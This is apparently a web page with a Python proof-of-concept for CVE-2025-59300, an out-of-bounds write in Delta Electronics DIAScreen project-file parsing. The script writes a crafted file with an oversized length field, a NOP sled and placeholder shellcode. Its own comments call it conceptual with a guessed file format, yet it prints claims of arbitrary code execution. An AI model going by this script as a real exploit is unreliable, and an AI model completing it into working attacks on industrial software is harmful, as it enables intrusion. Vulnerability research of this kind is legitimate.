CVE-2025-59300：Delta Electronics DIAScreen文件解析越界写入漏洞

# CVE-2025-59300 - Delta Electronics DIAScreen Out-of-Bounds Write PoC # This PoC demonstrates the concept of crafting a malicious DIAScreen project file # that triggers an out-of-bounds write vulnerability during file parsing. # # Note: This is a conceptual demonstration. The actual exploit would require # reverse engineering of the DIAScreen file format to identify the specific # vulnerable parsing routines and memory layout. import struct def create_malicious_diascreen_file(output_path): """ Create a malicious DIAScreen file that triggers OOB write vulnerability. The file format is a simplified representation; actual format may differ. """ # Standard DIAScreen file header (placeholder values) magic = b'DSCP' # Delta SCreen Project magic bytes version = struct.pack('<I', 0x00010000) # Version 1.0 header_size = struct.pack('<I', 64) # Normal header section header = magic + version + header_size header += b'\x00' * (64 - len(header)) # Crafted section with oversized data to trigger OOB write # The vulnerable parser expects a length field followed by data # We provide a length value that exceeds the allocated buffer size section_type = struct.pack('<I', 0x0000000A) # Section type (e.g., script/screen data) declared_length = struct.pack('<I', 0x00001000) # Declared length: 4096 bytes actual_data = b'A' * 256 # Actual data (smaller than declared) # Payload: shellcode or ROP chain to achieve code execution # This would be replaced with actual shellcode targeting the process payload = b'\x90' * 32 # NOP sled (placeholder) payload += b'\xCC' * 32 # INT3 breakpoints (placeholder for shellcode) malicious_data = section_type + declared_length + actual_data + payload # Write the malicious file with open(output_path, 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Malicious DIAScreen file created: {output_path}") print(f"[!] When opened with DIAScreen, this file triggers OOB write") print(f"[!] Result: Arbitrary code execution in DIAScreen process context") if __name__ == '__main__': create_malicious_diascreen_file('malicious.dsp')